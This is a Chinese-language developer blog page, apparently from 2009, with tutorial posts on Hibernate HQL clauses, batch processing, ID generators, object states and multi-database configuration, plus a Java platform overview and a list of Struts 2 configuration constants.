复合属性表达式加强了where子句的功能,例如如下HQL语句:

from Cat cat where cat.mate.name like "kit%"

该查询将被翻译成为一个含有内连接的SQL查询,翻译后的SQL语句如下:

select * from cat_table as table1 cat_table as table2 where table1.mate =

table2.id and table1.name like "kit%"

再看下面的HQL查询语句:

from Foo foo where foo.bar.baz.customer.address.city like"guangzhou%"

翻译成SQL查询语句,将变成一个四表连接的查询。

=运算符不仅可以被用来比较属性的值,也可以用来比较实例:

from Cat cat, Cat rival where cat.mate = rival.mate

select cat, mate

from Cat cat, Cat mate

where cat.mate = mate

特殊属性(小写)id可以用来表示一个对象的标识符。(也可以使用该对象的属性名。)

from Cat as cat where cat.id = 123

from Cat as cat where cat.mate.id = 69

第二个查询是一个内连接查询,但在HQL查询语句下,无须体会多表连接,而完全使用面向对象方式的查询。

id也可代表引用标识符。例如,Person类有一个引用标识符,它由country属性 与medicareNumber两个属性组成。

下面的HQL语句有效:

from Person as person

where person.id.country = 'AU'

    and person.id.medicareNumber = 123456

from Account as account

where account.owner.id.country = 'AU'

    and account.owner.id.medicareNumber = 123456

第二个查询跨越两个表Person和Account。是一个多表连接查询,但此处感受不到多表连接查询的效果。

在进行多态持久化的情况下,class关键字用来存取一个实例的鉴别值(discriminator value)。嵌入where子句中的Java类名,将被作为该类的鉴别值。例如:

from Cat cat where cat.class = DomesticCat

where子句中的属性表达式必须以基本类型或java.lang.String结尾,不要使用组件类型属性结尾,例如Account有Person属性,而Person有Name属性,Name有firstName属性。

看下面的情形:

from Account as a where a.person.name.firstName like "dd%" //正确

from Account as a where a.person.name like "dd%" //错误

4.3.7 表达式

HQL的功能非常丰富,where子句后支持的运算符异常丰富,不仅包括SQL的运算符,还包括EJB-QL的运算符等。

where子句中允许使用大部分SQL支持的表达式:

   ● 数学运算符+、–、*、/ 等。

   ● 二进制比较运算符=、>=、<=、<>、!=、like等。

   ● 逻辑运算符and、or、not等。

   ● in、not in、between、is null、is not null、is empty、is not empty、member of和not member of等。

   ● 简单的case、case ... when ... then ... else ... end和case、case when ... then ... else ...       end等。

   ● 字符串连接符value1 || value2或使用字符串连接函数concat(value1 , value2)。

   ● 时间操作函数current_date()、current_time()、current_timestamp()、second()、minute()、hour()、day()、month()、year()等。

   ● HQL还支持EJB-QL 3.0所支持的函数或操作substring()、trim()、lower()、upper()、length()、locate()、abs()、sqrt()、bit_length()、coalesce()和nullif()等。

   ● 还支持数据库的类型转换函数,如cast(... as ...),第二个参数是Hibernate的类型名,或者extract(... from ...),前提是底层数据库支持ANSI cast() 和extract()。

   ● 如果底层数据库支持如下单行函数sign()、trunc()、rtrim()、sin()。则HQL语句也完全可以支持。

   ● HQL语句支持使用?作为参数占位符,这与JDBC的参数占位符一致,也可使用命名参数占位符号,方法是在参数名前加冒号 :,例如 :start_date和:x1等。

   ● 当然,也可在where子句中使用SQL常量,例如'foo'、69、'1970-01-01 10:00:         01.0'等。

   ● 还可以在HQL语句中使用Java public static final 类型的常量,例如eg.Color.TABBY。

除此之外,where子句还支持如下的特殊关键字用法。

   ● in与between...and可按如下方法使用:

from DomesticCat cat where cat.name between 'A' and 'B'

from DomesticCat cat where cat.name in ( 'Foo','Bar','Baz')

   ● 当然,也支持not in和not between...and的使用,例如:

from DomesticCat cat where cat.name not between 'A' and 'B'

from DomesticCat cat where cat.name not in ( 'Foo','Bar','Baz' )

   ● 子句is null与is not null可以被用来测试空值,例如:

from DomesticCat cat where cat.name is null;

from Person as p where p.address is not null;

如果在Hibernate配置文件中进行如下声明:

<property name="hibernate.query.substitutions">true 1, false 0</property>

上面的声明表明,HQL转换SQL语句时,将使用字符1和0来取代关键字true和false。然后将可以在表达式中使用布尔表达式,例如:

from Cat cat where cat.alive = true

   ● size关键字用于返回一个集合的大小,例如:

from Cat cat where cat.kittens.size > 0

from Cat cat where size(cat.kittens) > 0

   ● 对于有序集合,还可使用minindex与maxindex函数代表最小与最大的索引序数。同理,可以使用minelement与maxelement函数代表集合中最小与最大的元素。         例如:

from Calendar cal where maxelement(cal.holidays) > current date

from Order order where maxindex(order.items) > 100

from Order order where minelement(order.items) > 10000

   ● 可以使用SQL函数any、some、all、exists、in操作集合里的元素,例如:

//操作集合元素

select mother from Cat as mother, Cat as kit

where kit in elements(foo.kittens)

//p的name属性等于集合中某个元素的name属性

select p from NameList list, Person p

where p.name = some elements(list.names)

//操作集合元素

from Cat cat where exists elements(cat.kittens)

from Player p where 3 > all elements(p.scores)

from Show show where 'fizard' in indices(show.acts)

注意这些结构变量size、elements、indices、minindex、maxindex、minelement、maxelement 等,只能在where子句中使用。

   ● where子句中,有序集合的元素(arrays, lists, maps)可以通过[ ]运算符访问。例如:

//items是有序集合属性,items[0]代表第一个元素

from Order order where order.items[0].id = 1234

//holidays是map集合属性,holidays[national day]代表其中一个元素

select person from Person person, Calendar calendar

where calendar.holidays['national day'] = person.birthDay

and person.nationality.calendar = calendar

//下面同时使用list 集合和map集合属性

select item from Item item, Order order

where order.items[ order.deliveredItemIndices[0] ] = item and order.id = 11

select item from Item item, Order order

where order.items[ maxindex(order.items) ] = item and order.id = 11

在[]中的表达式甚至可以是一个算术表达式,例如:

select item from Item item, Order order

where order.items[ size(order.items) - 1 ] = item

借助于HQL,可以大大简化选择语句的书写,提高查询语句的可读性,看下面的HQL语句:

select cust

from Product prod,

    Store store

    inner join store.customers cust

where prod.name = 'widget'

    and store.location.name in ( 'Melbourne', 'Sydney' )

    and prod = all elements(cust.currentOrder.lineItems)

如果翻译成SQL语句,将变成如下形式:

SELECT cust.name, cust.address, cust.phone, cust.id, cust.current_order

FROM customers cust,

    stores store,

    locations loc,

    store_customers sc,

    product prod

WHERE prod.name = 'widget'

    AND store.loc_id = loc.id

    AND loc.name IN ( 'Melbourne', 'Sydney' )

    AND sc.store_id = store.id

    AND sc.cust_id = cust.id

    AND prod.id = ALL(

        SELECT item.prod_id

        FROM line_items item, orders o

        WHERE item.order_id = o.id

            AND cust.current_order = o.id

    )

4.3.8 order by子句

查询返回的列表(list)可以根据类或组件属性的任何属性进行排序,例如:

from Person as p

order by p.name, p.age

还可使用asc或desc关键字指定升序或降序的排序规则,例如:

from Person as p

order by p.name asc , p.age desc

如果没有指定排序规则,默认采用升序规则。即是否使用asc关键字是没有区别的,加asc是升序排序,不加asc也是升序排序。

4.3.9 group by子句

返回聚集值的查询可以对持久化类或组件属性的属性进行分组,分组所使用的group by子句。看下面的HQL查询语句:

select cat.color, sum(cat.weight), count(cat)

from Cat cat

group by cat.color

类似于SQL的规则,出现在select后的属性,要么出现在聚集函数中,要么出现在group by的属性列表中。看下面示例:

//select后出现的id出现在group by之后,而name属性则出现在聚集函数中

select foo.id, avg(name), max(name)

from Foo foo join foo.names name

group by foo.id

having子句用于对分组进行过滤,如下:

select cat.color, sum(cat.weight), count(cat)

from Cat cat

group by cat.color

having cat.color in (eg.Color.TABBY, eg.Color.BLACK)

注意:having子句用于对分组进行过滤,因此having子句只能在有group by子句时才可以使用,没有group by子句,不能使用having子句。

Hibernate的HQL语句会直接翻译成数据库SQL语句。因此,如果底层数据库支持的having子句和group by子句中出现一般函数或聚集函数,HQL语句的having子句和order by 子句中也可以出现一般函数和聚集函数。

例如:

select cat

from Cat cat

join cat.kittens kitten

group by cat

having avg(kitten.weight) > 100

order by count(kitten) asc, sum(kitten.weight) desc

注意:group by子句与 order by子句中都不能包含算术表达式。

4.3.10 子查询

如果底层数据库支持子查询,则可以在HQL语句中使用子查询。与SQL中子查询相似的是,HQL中的子查询也需要使用()括起来。如:

from Cat as fatcat

where fatcat.weight > ( select avg(cat.weight) from DomesticCat cat )

如果select中包含多个属性,则应该使用元组构造符:

from Cat as cat

where not ( cat.name, cat.color ) in (

    select cat.name, cat.color from DomesticCat cat

)

4.3.11 fetch关键字

对于集合属性,Hibernate默认采用延迟加载策略。例如,对于持久化类Person,有集合属性scores。加载Person实例时,默认不加载scores属性。如果Session被关闭,Person实例将无法访问关联的scores属性。

为了解决该问题,可以在Hibernate映射文件中取消延迟加载或使用fetch join,例如:

from Person as p join p.scores

上面的fetch语句将会初始化person的scores集合属性。

如果使用了属性级别的延迟获取,可以使用fetch all properties来强制Hibernate立即抓取那些原本需要延迟加载的属性,例如:

from Document fetch all properties order by name

from Document doc fetch all properties where lower(doc.name) like '%cats%'

4.3.12 命名查询

HQL查询还支持将查询所用的HQL语句放入配置文件中,而不是代码中。通过这种方式,可以大大提供程序的解耦。

使用query元素定义命名查询,下面是定义命名查询的配置文件片段:

<!-- 定义命名查询 -->

<query name="myNamedQuery">

    <!-- 此处确定命名查询的HQL语句 -->

    from Person as p where p.age > ?

</query>

该命名的HQL查询可以直接通过Session访问,调用命名查询的示例代码如下:

private void findByNamedQuery()throws Exception

{

    //获得Hibernate Session对象

    Session sess = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = sess.beginTransaction();

    System.out.println("执行命名查询");

    //调用命名查询

    List pl = sess.getNamedQuery("myNamedQuery")

                        //为参数赋值

                       .setInteger(0 , 20)

                        //返回全部结果

                       .list();

    //遍历结果集

    for (Iterator pit = pl.iterator() ; pit.hasNext(); )

    {

        Person p = ( Person )pit.next();

        System.out.println(p.getName());

    }

    //提交事务

    tx.commit();

    HibernateUtil.closeSession();

}

posted @ 2009-07-19 08:48 jadmin 阅读(1591) | 评论 (0)编辑 收藏

Hibernate的批量处理

Hibernate完全以面向对象的方式来操作数据库,当程序里以面向对象的方式操作持久化对象时,将被自动转换为对数据库的操作。例如调用Session的delete()方法来删除持久化对象,Hibernate将负责删除对应的数据记录;当执行持久化对象的set方法时,Hibernate将自动转换为对应的update方法,修改数据库的对应记录。

问题是如果需要同时更新100 000条记录,是不是要逐一加载100 000条记录,然后依次调用set方法——这样不仅繁琐,数据访问的性能也十分糟糕。对这种批量处理的场景,Hibernate提供了批量处理的解决方案,下面分别从批量插入、批量更新和批量删除3个方面介绍如何面对这种批量处理的情形。

1) 批量插入

如果需要将100 000条记录插入数据库,通常Hibernate可能会采用如下做法:

Session session = sessionFactory.openSession();

Transaction tx = session.beginTransaction();

for ( int i=0; i<100000; i++ ) {

    User u = new User (.....);

    session.save(customer);

}

tx.commit();

session.close();

但随着这个程序的运行,总会在某个时候运行失败,并且抛出OutOfMemoryException(内存溢出异常)。这是因为Hibernate的Session持有一个必选的一级缓存,所有的User实例都将在Session级别的缓存区进行了缓存的缘故。

为了解决这个问题,有个非常简单的思路:定时将Session缓存的数据刷新入数据库,而不是一直在Session级别缓存。可以考虑设计一个累加器,每保存一个User实例,累加器增加1。根据累加器的值决定是否需要将Session缓存中的数据刷入数据库。

下面是增加100 000个User实例的代码片段:

private void testUser()throws Exception

{

    //打开Session

    Session session = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = session.beginTransaction();

    //循环100 000次,插入100 000条记录

    for (int i = 0 ; i < 1000000 ; i++ )

    {

        //创建User实例

        User u1 = new User();

        u1.setName("xxxxx" + i);

        u1.setAge(i);

        u1.setNationality("china");

        //在Session级别缓存User实例

        session.save(u1);

        //每当累加器是20的倍数时,将Session中的数据刷入数据库,并清空Session缓存

        if (i % 20 == 0)

        {

            session.flush();

            session.clear();

            tx.commit();

            tx = session.beginTransaction();

        }

    }

    //提交事务

    tx.commit();

    //关闭事务

    HibernateUtil.closeSession();

}

上面代码中,当i%20 == 0时,手动将Session处的缓存数据写入数据库,并手动提交事务。如果不提交事务,数据将依然缓存在事务处——未进入数据库,也将引起内存溢出的异常。

这是对Session级别缓存的处理,还应该通过如下配置来关闭SessionFactory的二级      缓存。

hibernate.cache.use_second_level_cache false

注意:除了要手动清空Session级别的缓存外,最好关闭SessionFactory级别的二级缓存。否则,即使手动清空Session级别的缓存,但因为在SessionFactory级别还有缓存,也可能引发异常。

2) 批量更新

上面介绍的方法同样适用于批量更新数据,如果需要返回多行数据,可以使用scroll()方法,从而可充分利用服务器端游标所带来的性能优势。下面是进行批量更新的代码片段:

private void testUser()throws Exception

{

    //打开Session

    Session session = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = session.beginTransaction();

    //查询出User表中的所有记录

    ScrollableResults users = session.createQuery("from User")

        .setCacheMode(CacheMode.IGNORE)

        .scroll(ScrollMode.FORWARD_ONLY);

    int count=0;

    //遍历User表中的全部记录

    while ( users.next() )

    {

        User u = (User) users.get(0);

        u.setName("新用户名" + count);

        //当count为20的倍数时,将更新的结果从Session中flush到数据库

        if ( ++count % 20 == 0 )

        {

            session.flush();

            session.clear();

        }

    }

    tx.commit();

    HibernateUtil.closeSession();

}

通过这种方式,虽然可以执行批量更新,但效果非常不好。执行效率不高,而且需要先执行数据查询,然后再执行数据更新,并且这种更新将是逐行更新,即每更新一行记录,都需要执行一条update语句,性能非常低下。

为了避免这种情况,Hibernate提供了一种类似于SQL的批量更新和批量删除的HQL语法。

3) SQL风格的批量更新/删除

Hibernate提供的HQL语句也支持批量的UPDATE和DELETE语法。

批量UPDATE和DELETE语句的语法格式如下:

UPDATE | DELETE FROM? ClassName [WHERE WHERE_CONDITIONS]

关于上面的语法格式有以下四点值得注意:

   ● 在FROM子句中,FROM关键字是可选的。即完全可以不写FROM关键字。

   ● 在FROM子句中只能有一个类名,该类名不能有别名。

   ● 不能在批量HQL语句中使用连接,显式的或隐式的都不行。但可以在WHERE子句中使用子查询。

   ● 整个WHERE子句是可选的。

假设,需要批量更改User类实例的name属性,可以采用如下代码片段完成:

private void testUser()throws Exception

{

    //打开Session

    Session session = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = session.beginTransaction();

    //定义批量更新的HQL语句

    String hqlUpdate = "update User set name = :newName";

    //执行更新

    int updatedEntities = session.createQuery( hqlUpdate )

                           .setString( "newName", "新名字" )

                           .executeUpdate();

    //提交事务

    tx.commit();

    HibernateUtil.closeSession();

}

从上面代码中可以看出,这种语法非常类似于PreparedStatement的executeUpdate语法。实际上,HQL的这种批量更新就是直接借鉴了SQL语法的UPDATE语句。

注意:使用这种批量更新语法时,通常只需要执行一次SQL的UPDATE语句,就可以完成所有满足条件记录的更新。但也可能需要执行多条UPDATE语句,这是因为有继承映射等特殊情况,例如有一个Person实例,它有Customer的子类实例。当批量更新Person实例时,也需要更新Customer实例。如果采用joined-subclass或union-subclass映射策略,Person和Customer实例保存在不同的表中,因此可能需要多条UPDATE语句。

执行一个HQL DELETE,同样使用 Query.executeUpdate() 方法,下面是一次删除上面全部记录的代码片段:

private void testUser()throws Exception

{

    //打开Session实例

    Session session = HibernateUtil.currentSession();

    //开始事务

    Transaction tx = session.beginTransaction();

    //定义批量删除的HQL语句

    String hqlUpdate = "delete User";

    //执行批量删除

    int updatedEntities = session.createQuery( hqlUpdate )

                           .executeUpdate();

    //提交事务

    tx.commit();

    //关闭Session

    HibernateUtil.closeSession();

}

由Query.executeUpdate()方法返回一个整型值,该值是受此操作影响的记录数量。实际上,Hibernate的底层操作是通过JDBC完成的。因此,如果有批量的UPDATE或DELETE操作被转换成多条UPDATE或DELETE语句,该方法返回的是最后一条SQL语句影响的记录行数。

posted @ 2009-07-19 08:42 jadmin 阅读(68) | 评论 (0)编辑 收藏

  作为昔日开发语言的王者,Java已经有14岁了,它创新变革的脚步一直没有停下来。现在Java已经不单单是一种计算机语言,Java更是一个平台,一个社区,以及一个生态系统。在2009年,Oracle收购了SUN,Java留下的,只是一个王者的背影。

  JavaSE

  目前JDK的正式版本是JDK 6 Update 12。JDK 6 Update 10以来的版本,关键功能包括:

  Java内核大大缩小了,由原来的大约十几兆缩小到4兆,这样提高了启动Java程序的速度。而其它的Java库在需要的时候可以后台下载,这样也缩短了等待和安装的时间。

  下一代的Plug-in架构。Applet运行在自己的进程中,而不再依赖浏览器,提高了性能和可伸缩性。在2008 JavaOne有一段很酷的演示,就是将Applet直接从浏览器中拖拽到桌面上,或者从桌面上拖到浏览器中。这个功能的实现有赖于JDK 6中重写了连接Java运行环境和浏览器的代码。这个新的Plug-in架构还提供一个有意思的功能,可以在Web页面通过JavaScript调用Web页面上任何的Applet,不管这个Applet是用哪种语言写的,比如JavaFX Script, JRuby, Jython。

  这里要提到JDK 6中Java虚拟机(JVM)对动态语言的支持(JSR 223)。这个框架可以使Java应用程序中支持脚本引擎,这样各种脚本语言就可以运行在JVM上。JVM发展的一个重要方向就是去掉“J”,让JVM成为能支持各种语言的,全能的“VM(虚拟机)”。目前JVM支持的脚本语言包括:JavaFX Script, Groovy, JRuby, Jython, JavaScript, Scala, Clojure。可以预计到的是,将来会有更多的脚本语言运行在Java虚拟机上。

  还在草案阶段的JDK7,一些新特性也值得期待:

  一个是实现JDK 7模块化(JSR 294, JSR 277),将与OSGi联盟更紧密的配合,以便JSR 294模块可以被OSGi所使用。

  另外一个是并行包。这个包致力于通过充分利用底层硬件来达到真正的并发。随着硬件多核系统的广泛应用,并行计算的需求对Java的性能提出了更高要求。

  Java EE

  Java EE 6 (JSR 316)的公众审议将在2009年2月23号结束。Java EE 6继承了Java EE 5改进的目标,就是简化开发,另外,还增加了一个目标,更好地满足开发人员的需求。关于Java EE 6的讨论持续了很长时间,而争议最大的就是Java EE 6引入的Profile。

  Java EE十年来的发展结果,是这个平台变得越来越庞大,但对很多用户和开发者来说,也许他只需要使用众多功能中的很小一部分,却不得不安装整个平台。Profile就是为解决这个问题而定义的。Profile实际上是Java EE API的子集。讨论最热烈的Web Profile就集中在,哪些API应该被放在标准Profile中?

  Jave EE 6包括了一系列的新技术和升级,篇幅所限制,仅罗列一些名词:WebBean 1.0, JSF 2.0, EJB 3.1, JPA 2.0, Servlet 3.0, JAX-RS 1.1。

  Java ME

  Mobile Service Architecture 2 (MSA 2)目前已经到了公众审议的尾声(JSR 249)。预计2009年,MSA 2将进入实用阶段。MSA 2是下一代Java ME平台技术,提供了更多移动开发的新特性,比如可以访问手持设备上的各种传感器,如加速计传感器,电池容量(JSR256);可以在手机上看电视(JSR 272);如同信用卡支付功能的手机钱包(JSR 257);使用XML,脚本,与Java一同构造GUI (JSR 290);通过手机使用VOIP服务(JSR 281)。

  Java FX

  Java在企业应用程序的开发中一直占主导地位,但现在面向消费者的富互联网应用(Rich Internet Application, RIA)软件数量在急剧增加,这种情形下,JavaFX应运而生。和Java语言相比,JavaFX Script更适合开发高效,快速地开发集合各种媒体,交互性强,界面吸引用户的RIA应用程序。2009年2月,JavaFX SDK 1.1与JavaFX Mobile都正式发布了,下一个要期待的是JavaFX TV。借助Java这个强大的平台,JavaFX目标是提供给开发者更好的RIA平台与技术,除了继续要在传统的PC桌面保持优势外,更是面向未来的终端设备,手机和电视。

  JAVA是有SUN公司开发的新一代编程语言,它可以用在各种不同的机器、操作系统的网络环境中进行开发。不论你使用哪种浏览器或者使用哪种操作系统(Windows、Unix等等),只要浏览器支持JAVA,你就可以看到生动的主页。JAVA正在逐步成为Internet应用的主要开发语言,它彻底改变了应用软件的开发模式,为迅速发展的信息世界增添了新的活力。所以作为Internet应用的开发技术人员不可不看JAVA,而JAVA程序不可不先从基础学起。

  希望Java能够继续发展下去,作为一个影响着整个业界和无数技术人员的开发语言,Java不应该仅仅是给我们留下一个背影而已。

posted @ 2009-07-07 15:30 jadmin 阅读(78) | 评论 (0)编辑 收藏

struts.action.extension
          The URL extension to use to determine if the request is meant for a Struts action
           用URL扩展名来确定是否这个请求是被用作Struts action,其实也就是设置 action的后缀,例如login.do的'do'字。

struts.configuration
          The org.apache.struts2.config.Configuration implementation class
            org.apache.struts2.config.Configuration接口名

struts.configuration.files
          A list of configuration files automatically loaded by Struts
           struts自动加载的一个配置文件列表

struts.configuration.xml.reload
          Whether to reload the XML configuration or not
           是否加载xml配置(true,false)

struts.continuations.package
           The package containing actions that use Rife continuations
           含有actions的完整连续的package名称

struts.custom.i18n.resources
          Location of additional localization properties files to load
           加载附加的国际化属性文件(不包含.properties后缀)

struts.custom.properties
          Location of additional configuration properties files to load
           加载附加的配置文件的位置


struts.devMode
          Whether Struts is in development mode or not
           是否为struts开发模式

struts.dispatcher.parametersWorkaround
          Whether to use a Servlet request parameter workaround necessary for some versions of WebLogic
            (某些版本的weblogic专用)是否使用一个servlet请求参数工作区(PARAMETERSWORKAROUND)

struts.enable.DynamicMethodInvocation
          Allows one to disable dynamic method invocation from the URL
            允许动态方法调用

struts.freemarker.manager.classname
          The org.apache.struts2.views.freemarker.FreemarkerManager implementation class
           org.apache.struts2.views.freemarker.FreemarkerManager接口名

struts.i18n.encoding
          The encoding to use for localization messages
           国际化信息内码

struts.i18n.reload
          Whether the localization messages should automatically be reloaded
           是否国际化信息自动加载

struts.locale
          The default locale for the Struts application
           默认的国际化地区信息

struts.mapper.class
          The org.apache.struts2.dispatcher.mapper.ActionMapper implementation class
            org.apache.struts2.dispatcher.mapper.ActionMapper接口

struts.multipart.maxSize
          The maximize size of a multipart request (file upload)
           multipart请求信息的最大尺寸(文件上传用)

struts.multipart.parser
          The org.apache.struts2.dispatcher.multipart.
          MultiPartRequest parser implementation for a multipart request (file upload)
          专为multipart请求信息使用的org.apache.struts2.dispatcher.multipart.MultiPartRequest解析器接口(文件上传用)


struts.multipart.saveDir
          The directory to use for storing uploaded files
           设置存储上传文件的目录夹

struts.objectFactory
          The com.opensymphony.xwork2.ObjectFactory implementation class
           com.opensymphony.xwork2.ObjectFactory接口(spring)

struts.objectFactory.spring.autoWire
          Whether Spring should autoWire or not
           是否自动绑定Spring

struts.objectFactory.spring.useClassCache
          Whether Spring should use its class cache or not
           是否spring应该使用自身的cache

struts.objectTypeDeterminer
          The com.opensymphony.xwork2.util.ObjectTypeDeterminer implementation class
            com.opensymphony.xwork2.util.ObjectTypeDeterminer接口

struts.serve.static.browserCache
If static content served by the Struts filter should set browser caching header properties or not
           是否struts过滤器中提供的静态内容应该被浏览器缓存在头部属性中

struts.serve.static
          Whether the Struts filter should serve static content or not
           是否struts过滤器应该提供静态内容

struts.tag.altSyntax
          Whether to use the alterative syntax for the tags or not
           是否可以用替代的语法替代tags

struts.ui.templateDir
          The directory containing UI templates
           UI templates的目录夹

struts.ui.theme
          The default UI template theme
           默认的UI template主题

struts.url.http.port
          The HTTP port used by Struts URLs
           设置http端口

struts.url.https.port
          The HTTPS port used by Struts URLs
           设置https端口

struts.url.includeParams
          The default includeParams method to generate Struts URLs
          在url中产生 默认的includeParams


struts.velocity.configfile
          The Velocity configuration file path
           velocity配置文件路径

struts.velocity.contexts
          List of Velocity context names
           velocity的context列表


struts.velocity.manager.classname
          org.apache.struts2.views.velocity.VelocityManager implementation class
           org.apache.struts2.views.velocity.VelocityManager接口名

struts.velocity.toolboxlocation
          The location of the Velocity toolbox
           velocity工具盒的位置


struts.xslt.nocache
          Whether or not XSLT templates should not be cached
           是否XSLT模版应该被缓存

摘自:http://li445970924.javaeye.com/blog/420056

posted @ 2009-07-04 15:33 jadmin 阅读(104) | 评论 (0)编辑 收藏

在*.hbm.xml必须声明的< generator>子元素是一个Java类的名字,用来为该持久化类的实例生成唯一的标识。

< generator class="sequence"/>

这是一个非常简单的接口;某些应用程序可以选择提供他们自己特定的实现。当然,Hibernate提供了很多内置的实现。下面是Generator子元素的一些内置生成器的快捷名字:

increment(递增)

用于为long, short或者int类型生成唯一标识。只有在没有其他进程往同一张表中插入数据时才能使用。 在集群下不要使用。

identity

对DB2,MySQL, MS SQL Server, Sybase和HypersonicSQL的内置标识字段提供支持。返回的标识符是long, short 或者int类型的。

sequence (序列)

在DB2,PostgreSQL, Oracle, SAP DB, McKoi中使用序列(sequence),而在Interbase中使用生成器(generator)。返回的标识符是long, short或者 int类型的。

hilo (高低位)

使用一个高/低位算法来高效的生成long, short或者 int类型的标识符。给定一个表和字段(默认分别是是hibernate_unique_key 和next_hi)作为高位值得来源。高/低位算法生成的标识符只在一个特定的数据库中是唯一的。在使用JTA获得的连接或者用户自行提供的连接中,不要使用这种生成器。

seqhilo(使用序列的高低位)

使用一个高/低位算法来高效的生成long, short或者 int类型的标识符,给定一个数据库序列(sequence)的名字。

uuid.hex

用一个128-bit的UUID算法生成字符串类型的标识符。在一个网络中唯一(使用了IP地址)。UUID被编码为一个32位16进制数字的字符串。

uuid.string

使用同样的UUID算法。UUID被编码为一个16个字符长的任意ASCII字符组成的字符串。不能使用在PostgreSQL数据库中

native(本地)

根据底层数据库的能力选择identity, sequence 或者hilo中的一个。

assigned(程序设置)

让应用程序在save()之前为对象分配一个标示符。

foreign(外部引用)

使用另外一个相关联的对象的标识符。和< one-to-one>联合一起使用。

Generator子元素的用法:

  1. <  class name="onlyfun.caterpillar.User" table="USER">
  2.            <  id name="id" type="string" unsaved-value="null">
  3.                <  column name="USER_ID"/>
  4.                <  generator class="uuid.hex"/>
  5.            <   /id>
posted @ 2009-07-03 14:04 jadmin 阅读(49) | 评论 (0)编辑 收藏

在Hibernate中有三种状态,对它的深入理解,才能更好的理解hibernate的运行机理,刚开始不太注意这些概念,后来发现它是重要的。对于理解hibernate,JVM和sql的关系有更好的理解。对于需要持久化的JAVA对象,在它的生命周期中有三种状态,而且互相转化。

Hibernate三种状态之一:临时状态(Transient):用new创建的对象,它没有持久化,没有处于Session中,处于此状态的对象叫临时对象;

Hibernate三种状态之二:持久化状态(Persistent):已经持久化,加入到了Session缓存中。如通过hibernate语句保存的对象。处于此状态的对象叫持久对象;

Hibernate三种状态之三:游离状态(Detached):持久化对象脱离了Session的对象。如Session缓存被清空的对象。特点:已经持久化,但不在Session缓存中。处于此状态的对象叫游离对象;

Hibernate三种状态中游离对象和临时对象异同:

两者都不会被Session关联,对象属性和数据库可能不一致;

游离对象由持久化对象关闭Session而转化而来,在内存中还有对象所以此时就变成游离状态了;

Hibernate和SQL的关系:

在操作了hibernate的方法如save()等后,并没有直接生成sql语句,去操作数据库,而是把这些更新存入Session中,只有Session缓存要被更新时,底层的sql语句才能执行,数据存入数据库;

下面举例说明:

一,Session.save(user)运行机理。
1,把User对象加入缓存中,使它变成持久化对象;
2,选用映射文件指定的标识生成ID;
3,在Session清理缓存时候执行:在底层生成一个insert sql语句,把对象存入数据库;

注意:在你执行Session.save(user)后,在Session清理缓存前,如果你修改user对象属性值,那么最终存入数据库的值将是最后修改的值;此过程中ID不能被修改;

二,Session.delete(user)运行过程。
如果user是持久化对象,则执行删除操作,同样底层数据库的执行条件是:在Session清理缓存时候;
如果user是游离对象:
1,将user对象和Session关联,使之成为持久化对象;
2,然后按照user 是持久化对象的过程执行;

posted @ 2009-07-03 14:00 jadmin 阅读(43) | 评论 (0)编辑 收藏

Hibernate访问多个数据库的设计思路:利用 Hibernate中config = new Configuration().configure(configFile);可以加载不同数据库配置信息的原理,编写一个数据库操作类,再编写一个数据库管理程序[map],将加载的数据库连接实例put早数据库管理程序中,具体实现见下面:

Hibernate访问多个数据库步骤一:hibernate配置文件

localhost.cfg.xml

  1. < ?xml version="1.0" encoding="utf-8"?>
  2. < !DOCTYPE hibernate-configuration
  3.      PUBLIC "-//Hibernate/Hibernate Configuration DTD//EN"
  4.      "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
  5. < hibernate-configuration>
  6.     < session-factory >
  7.   < !-- local connection properties -->
  8.   < property name="hibernate.connection.url">jdbc:mysql://localhost:3306/bookshop?zeroDateTimeBehavior=convertToNull< /property>
  9.   < property name="hibernate.connection.driver_class">com.mysql.jdbc.Driver< /property>
  10.   < property name="hibernate.connection.username">root< /property>
  11.   < property name="hibernate.connection.password">12345678< /property>
  12.   < !-- property name="hibernate.connection.pool_size">< /property -->
  13.   < !-- dialect for MySQL -->
  14.         < property name="dialect">org.hibernate.dialect.MySQLDialect< /property>
  15.         < property name="hibernate.show_sql">true< /property>
  16.         < property name="hibernate.transaction.factory_class">org.hibernate.transaction.JDBCTransactionFactory< /property>        
  17.         < property name="hbm2ddl.auto">update< /property>
  18.      < mapping resource="org/jskyme/data/local/po/Shop.hbm.xml"/>
  19.     < /session-factory>
  20. < /hibernate-configuration>

data_server.cfg.xml

  1. < ?xml version="1.0" encoding="utf-8"?>
  2. < !DOCTYPE hibernate-configuration
  3.      PUBLIC "-//Hibernate/Hibernate Configuration DTD//EN"
  4.      "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
  5. < hibernate-configuration>
  6.     < session-factory >
  7.   < !-- local connection properties -->
  8.   < property name="hibernate.connection.url">jdbc:mysql://192.168.0.10:3306/bookshop?zeroDateTimeBehavior=convertToNull< /property>
  9.   < property name="hibernate.connection.driver_class">com.mysql.jdbc.Driver< /property>
  10.   < property name="hibernate.connection.username">root< /property>
  11.   < property name="hibernate.connection.password">12345678< /property>
  12.   < !-- property name="hibernate.connection.pool_size">< /property -->
  13.   < !-- dialect for MySQL -->
  14.         < property name="dialect">org.hibernate.dialect.MySQLDialect< /property>
  15.         < property name="hibernate.show_sql">true< /property>
  16.         < property name="hibernate.transaction.factory_class">org.hibernate.transaction.JDBCTransactionFactory< /property>        
  17.         < property name="hbm2ddl.auto">update< /property>
  18.      < mapping resource="org/jskyme/data/local/po/Shop.hbm.xml"/>
  19.     < /session-factory>
  20. < /hibernate-configuration>

Hibernate访问多个数据库步骤二:数据库访问类:

数据库管理类:DataBaseManager

  1. package org.jskyme.hibernate.util;
  2. import java.util.HashMap;
  3. public class DataBaseManager extends HashMap {
  4. private static final long serialVersionUID = 6491666983237498097L;
  5. private static DataBaseManager inst = new DataBaseManager();
  6. public static DataBaseManager getInst() {
  7.   return inst;
  8. }
  9. public SessionManager get(Object key) {
  10.   return (SessionManager) super.get(key);
  11. }
  12. @Override
  13. public Object put(Object key, Object value) {
  14.   return super.put(key, value);
  15. }
  16. public static void setInst(DataBaseManager inst) {
  17.    DataBaseManager.inst = inst;
  18. }
  19. }

Hibernate连接数据库操作类:

  1. package org.jskyme.hibernate.util;
  2. import java.util.List;
  3. import org.hibernate.Criteria;
  4. import org.hibernate.Query;
